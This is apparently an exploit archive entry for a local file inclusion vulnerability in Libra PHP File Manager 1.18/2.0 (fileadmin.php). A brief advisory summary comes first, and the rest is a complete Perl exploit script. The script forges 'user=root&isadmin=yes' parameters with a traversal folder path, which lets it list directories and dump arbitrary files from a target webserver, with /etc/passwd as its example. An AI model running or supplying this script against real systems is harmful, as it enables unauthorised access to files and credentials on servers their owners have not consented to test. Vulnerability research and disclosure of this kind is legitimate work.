Libra File Manager 1.18/2.0 - 'fileadmin.php' Local File Inclusion

source: https://www.securityfocus.com/bid/31403/info

Libra File Manager is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.

Libra File Manager 2.0 and prior versions are available. 

#! /usr/bin/perl

# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Libra PHP File Manager <= 1.18 / Local File Inclusion Vulnerability
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# Program: Libra PHP File Manager
# Version: <= 1.18
# File affected: fileadmin.php
# Download: http://file.sourceforge.net
#
#
# Found by Pepelux <pepelux[at]enye-sec.org>
# eNYe-Sec - www.enye-sec.org
# Greetings to Ka0x for help me with the perl code   :) 
#
# You can scale directories and read any file that you have permissions

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

print "\e[2J";
system(($^O eq 'MSWin32') ? 'cls' : 'clear');

my ($host, $path, $action) = @ARGV ;

unless($ARGV[2]) {
       print "Usage: perl $0 <host> <path> <action>\n";
       print "\tex: perl $0 http://www.example.com /etc/ list\n";
       print "\tex: perl $0 http://www.example.com /etc/passwd edit\n";
       print "Actions:\n";
       print "   list:\n";
       print "   edit:\n\n";
       exit 1;
}

$ua->agent("$0/0.1 " . $ua->agent);
$host = "http://".$host if ($host !~ /^http:/);
$path = $path."/" if ($action eq "list" && $path !~ /\/$/);
$op = "home" if ($action == "list");

if ($action eq "edit") {
       $aux = $path;
       $directory = "";

       do {
               $x = index($aux, "/");
               $y = length($aux) - $x;
               $directory .= substr($aux, 0, $x+1);
               $aux = substr($aux, $x+1, $y);
       } until ($x == -1);

       $path = $directory;
       $file = $aux;
       $op = "edit";
}

$url = $host."/fileadmin.php?user=root&isadmin=yes&op=".$op."&folder=".$path;
$url .= "&fename=".$file if ($action eq "edit");

$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');

$res = $ua->request($req);

if ($res->is_success) {
       $result = $res->content;

       if ($action eq "edit") {
               print "Viewing $path$file:\n";
               print $1,"\n" if($result =~ /name="ncontent">(.*)<\/textarea>/s);
       }
       else {
               print "Files in $path:\n";
               $x = index($result, "Files:") + 6;
               $result = substr($result, $x, length($result)-$x);
               $result =~ s/<[^>]*>//g;
               $result =~ s/Filename//g;
               $result =~ s/Size//g;
               $result =~ s/Edit//g;
               $result =~ s/Rename//g;
               $result =~ s/Delete//g;
               $result =~ s/Move//g;
               $result =~ s/View//g;
               $result =~ s/Open//g;
               $result =~ s/\d*//g;
               $result =~ s/\s+/\n/g;
               $x = index($result, "Copyright");
               $result = substr($result, 0, $x);
               print $result;
       }
}
else { print "Error: " . $res->status_line . "\n";}